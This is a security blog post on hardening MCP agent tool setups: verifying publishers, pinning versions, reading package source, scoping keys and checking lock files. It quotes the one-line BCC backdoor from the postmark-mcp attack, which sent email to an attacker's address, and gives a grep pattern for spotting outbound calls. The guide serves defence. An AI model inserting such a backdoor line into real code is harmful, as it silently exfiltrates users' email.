• Agents
  • Docs
  • Pricing
  • Blog
Log in
Get started

Security for apps built with AI. Paste a URL, get a report, fix what matters.

Product

  • How it works
  • What we find
  • Pricing
  • Agents
  • MCP Server
  • CLI
  • GitHub Action

Resources

  • Blog
  • Docs
  • FAQ
  • Glossary

Security

  • Supabase Security
  • Next.js Security
  • Lovable Security
  • Cursor Security
  • Bolt Security

Legal

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • Imprint
© 2026 Flowpatrol. All rights reserved.
Back to Blog
Guides

How to Secure Your MCP Setup

MCP is worth using. Here's how to install packages safely, pin versions, read what you install, and keep your agent tools from becoming a supply chain liability.

Flowpatrol TeamApr 3, 202610 min read
How to Secure Your MCP Setup

MCP is genuinely worth using

If you're building with Claude, Cursor, or any AI agent stack, MCP — the Model Context Protocol — is one of the most useful things that happened to the ecosystem in 2025. It's an open standard that lets your AI agent connect to external services: send email, query your database, create GitHub issues, post to Slack, charge cards through Stripe. You install a package, wire it up, and your agent can actually do things.

The ecosystem is growing fast. There are MCP servers for hundreds of services. Builders are shipping agents in a weekend that would have taken weeks to build by hand. That's real, and it's worth celebrating.

But the ecosystem is also young — and the security hasn't kept up with the pace of shipping. In September 2025, a malicious npm package called postmark-mcp silently BCC'd every email sent by any AI agent using it to an attacker's address. Password resets. Customer invoices. Two-factor codes. All of it, for eight days, copied to a stranger. We covered the full story here.

That's not a reason to avoid MCP. It's a reason to know what you're installing.


The attack pattern you need to know about

The postmark-mcp attack wasn't a clever zero-day. It was patient. The attacker published 15 clean, working versions of the package over time. Downloads grew. Developers installed it, it worked, they moved on. Then on version 1.0.16, one line flipped:

message.Bcc = "phan@giftshop.club";

That's the whole attack. The emails still sent. The agent completed its task. Logs showed success. Nothing broke — except every outbound email now had an invisible extra recipient.

Security researchers call this a rug pull: build trust with clean versions, then backdoor a later release. The pattern works because most developers install a package once and never look at it again. Version ranges like ^1.0.0 pull updates automatically. You'd never know 1.0.16 was different from 1.0.15 unless you read the diff.

This isn't unique to postmark-mcp. A scan of 1,808 MCP servers by AgentSeal found that 66% had security findings. CVE-2025-6514, a critical flaw (CVSS 9.6) in mcp-remote — a package with 437,000+ downloads — gave attackers a way to compromise any application using it to connect to remote MCP servers.

The threat is real. The fix is straightforward.


Verify before you install

The first question to ask about any MCP package: who published it?

On npm, the publisher is listed on the package page. For any MCP server that touches a real service — email, payments, auth, databases — cross-reference that publisher against the service's official documentation and GitHub org.

Postmark's official npm package is postmark, published under the wildbit org (owned by ActiveCampaign). A package called postmark-mcp from an unknown account called "phanpak" should have raised a flag. It didn't, because most people don't check.

Here's the quick check:

# Look up who published a package
npm info postmark-mcp maintainers
npm info postmark-mcp repository

# Compare against the official package
npm info postmark maintainers

If the MCP package maintainer doesn't match the organization behind the official SDK, dig deeper before installing. Check whether the service itself recommends a specific MCP server. When in doubt, build your own thin wrapper around the official SDK — ten minutes of work is worth more than an unknown package with email permissions.

Diagram showing MCP security checklist with publisher verification, version pinning, and permission scoping steps


Pin your versions

This one is simple and it matters more than it sounds.

In package.json, most people write dependency versions with a caret:

{
  "dependencies": {
    "postmark-mcp": "^1.0.0"
  }
}

That ^ means "install any compatible update automatically." It's what allowed postmark-mcp to silently update to the backdoored 1.0.16 for anyone who ran npm install after September 17th. They asked for ^1.0.0 and got the attack.

Pin to exact versions for any package that handles sensitive operations:

{
  "dependencies": {
    "postmark-mcp": "1.0.15",
    "stripe-mcp": "2.3.1",
    "github-mcp": "0.9.4"
  }
}

No ^. No ~. An exact version means you only update when you choose to — and when you do, you can review exactly what changed.

When you're ready to update, do it deliberately:

# Check what's changed between your pinned version and latest
npm diff postmark-mcp@1.0.15 postmark-mcp@1.0.16

# Or view the changelog on GitHub before updating

If the diff touches network calls, outbound requests, email fields, or credentials — read it carefully before accepting the update.


Read what you install

MCP servers for sensitive operations are small packages. Most are under 500 lines. Reading one takes ten minutes. For packages that can send email, charge cards, or access your database, that's ten minutes well spent.

What to look for:

In email and messaging MCP servers:

  • Any hardcoded email addresses in message construction (like Bcc, Cc, or To fields)
  • Outbound HTTP calls to domains that aren't the service's official API
  • Extra recipients being added to outbound messages

In payment MCP servers:

  • Requests to endpoints other than the payment provider's documented API
  • Any logging of card numbers, tokens, or webhook payloads
  • Fields being set that you didn't pass in

In auth and database MCP servers:

  • Credentials or tokens being written anywhere (files, remote endpoints, environment variables)
  • Queries that select more columns than the tool description says it needs
  • Calls that happen on initialization, before any user action

You're not looking for sophisticated obfuscation. The postmark-mcp attack was one visible line. Attackers keep it simple because simple works.

# Read the installed source directly
cat node_modules/postmark-mcp/src/index.js

# Or for TypeScript packages, check the compiled output
cat node_modules/postmark-mcp/dist/index.js

# Search for suspicious patterns
grep -r "Bcc\|bcc\|fetch\|axios\|http" node_modules/postmark-mcp/dist/

Scope your permissions

Every MCP server you install gets to do something on your behalf. An email MCP can send email. A Stripe MCP can create charges. A GitHub MCP can push code. Before you install, ask: does this package need all of the permissions I'm about to give it?

Most providers let you scope API keys. Use that.

For Stripe: Create a restricted key with only the operations your agent actually needs. If it only needs to create payment intents, don't give it refund permissions.

# In Stripe Dashboard → API keys → Create restricted key
# Grant: Write access to Payment Intents only
# Deny: Customers, Refunds, Subscriptions

For email providers: Use a dedicated sending domain or subdomain for your agent. If a package goes rogue, the blast radius is limited to that domain — not your main domain's reputation.

For GitHub: Use a fine-grained personal access token scoped to specific repositories and specific permissions (read vs. write, issues vs. code).

For databases: Create a dedicated database user with only the tables and operations your agent needs. Never give an MCP server your admin or service-role credentials.

The principle is straightforward: if the package is compromised, how much damage can it do? Scoping permissions answers that question before it becomes a real problem.


Monitor your lock file

Your package-lock.json or yarn.lock is a record of exactly what version of every package got installed. When it changes unexpectedly, that's worth noticing.

Commit your lock file. Every time. Then treat unexpected changes the way you'd treat unexpected changes to any other sensitive file — find out why.

# See what changed in your lock file
git diff package-lock.json

# Find which direct dependencies changed
git diff package-lock.json | grep '"resolved"' | head -20

In CI, add a check that fails if the lock file has uncommitted changes:

# Add to your CI pipeline
npm ci  # Uses lock file exactly, fails if it doesn't match package.json

The difference between npm install and npm ci matters here. npm install can update the lock file silently. npm ci treats the lock file as the source of truth and fails if anything doesn't match. For production deployments and CI pipelines, always use npm ci.

Set up Dependabot or Renovate to open pull requests for dependency updates rather than auto-merging them. You want to see the diff before the update lands.


The MCP security checklist

Before installing any MCP server, run through this:

CheckWhat to verify
Publisher identityDoes the npm publisher match the organization behind the official SDK? Cross-reference with the service's documentation and GitHub org.
Download historyIs this a new package with sudden high downloads? New packages with no track record are higher risk.
Version historyAre there clean versions before the one you're installing? Or is this v1.0.0 with no history at all?
Source codeHave you read the package's entry point? Look for hardcoded addresses, unexpected outbound calls, extra fields being set.
Official alternativeDoes the service have an official SDK? Can you build a thin MCP wrapper around it instead?
Permissions scopeHave you created a limited API key for this package? Does it have only the permissions it actually needs?
Exact version pinIs the version pinned exactly in package.json (no or )?

After installing:

CheckWhat to verify
Lock file diffDid only the expected packages change in the lock file?
Outbound monitoringFor sensitive MCP servers (email, payments), can you log or inspect outbound API calls?
Dependency alertsDo you have Dependabot or a similar tool watching for updates?

What to do right now

If you already have MCP servers in production, here's your checklist:

  1. Run npm list in every agent project. Write down every MCP package, its version, and who published it.

  2. Check publisher identity for each one. For any package that handles email, payments, auth, or database access — verify the publisher against the service's official documentation. If you can't confirm it's the right publisher, swap it out for the official SDK or a wrapper you control.

  3. Pin versions in package.json. Remove every ^ and ~ from MCP dependencies. Commit the change.

  4. Verify your lock file is committed. If it's in .gitignore, take it out. Add npm ci to your CI pipeline.

  5. Scope your API keys. For each MCP server, check what credentials you've given it. Create restricted keys with minimum necessary permissions. Rotate any keys that were given broader access than they needed.

  6. Flowpatrol checks for exposed credentials, misconfigured services, and dependency-level risks in your deployed app. Paste your URL and see what comes back.

The MCP ecosystem is worth building on. Knowing what you're installing is how you keep it that way.


The postmark-mcp supply chain attack was discovered by Koi Security on September 25, 2025. CVE-2025-6514 affects mcp-remote and is documented in the NVD. The AgentSeal MCP server scan covered 1,808 packages and was published in September 2025.

Back to all posts

More in Guides

AI Agent Safety: What Your Agent Can Destroy (And How to Stop It)
Apr 3, 2026

AI Agent Safety: What Your Agent Can Destroy (And How to Stop It)

Read more
How to Secure Your Lovable App Before You Launch
Mar 28, 2026

How to Secure Your Lovable App Before You Launch

Read more
^
~
Lock file committedIs your package-lock.json or yarn.lock committed and up to date?
Scan your running app.